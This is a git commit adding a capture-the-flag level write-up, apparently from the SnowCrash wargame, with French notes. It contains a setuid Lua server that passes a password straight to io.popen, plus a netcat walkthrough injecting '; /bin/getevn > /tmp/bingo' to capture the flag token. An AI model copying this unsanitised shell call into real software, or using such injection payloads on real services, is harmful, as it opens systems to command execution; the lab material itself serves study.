This commit is contained in:
Lapin 2021-01-28 12:20:00 +01:00
parent 059496d5c2
commit 1f46a1fe42
4 changed files with 62 additions and 0 deletions

34
level11/Ressources/level11.lua Executable file
View File

@ -0,0 +1,34 @@
#!/usr/bin/env lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 5151))
function hash(pass)
prog = io.popen("echo "..pass.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local l, err = client:receive()
if not err then
print("trying " .. l)
local h = hash(l)
if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
client:send("Erf nope..\n");
else
client:send("Gz you dumb*\n")
end
end
client:close()
end

View File

@ -0,0 +1,26 @@
* Dans le home il y a un script lua
$ ll
> rwsr-sr-x 1 flag11 level11 668 Mar 5 2016 level11.lua*
* Ca semble etre un server. On tante de se conecter au localhost avec le port 5151
$ nc localhost 5151
> Password: kjksd
> Erf nope..
* Il semblerait donc que ce soit bien a ce stript lua que l'on comunique via netcat.
* On peut trouver le nombre f05d1d066fb246efe0c6f7d095f909a7a0cf34a0.
* Google nous apprend que c'est le hash de "NotSoEasy" toute fois ce mot de passe ne donne rien
* Par contre en observant mieux on voit qu'une chaine ne charactere comptenant
* le mot de passe que l'on envoie semble etre executer en shell avec les back quot line 11
* io.popen() lance un souproces et execute la chaine e character qui lui est envoyer.
* On va essayer de lancer getflag en arretant la comande avec ';'
$ nc localhost 5151
> Password: ; /bin/getevn > /tmp/bingo
$ cat /tmp/bingo
> Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s
BINGO

1
level11/Ressources/token Normal file
View File

@ -0,0 +1 @@
f05d1d066fb246efe0c6f7d095f909a7a0cf34a0

1
level11/flag Normal file
View File

@ -0,0 +1 @@
fa6v5ateaw21peobuub8ipe6s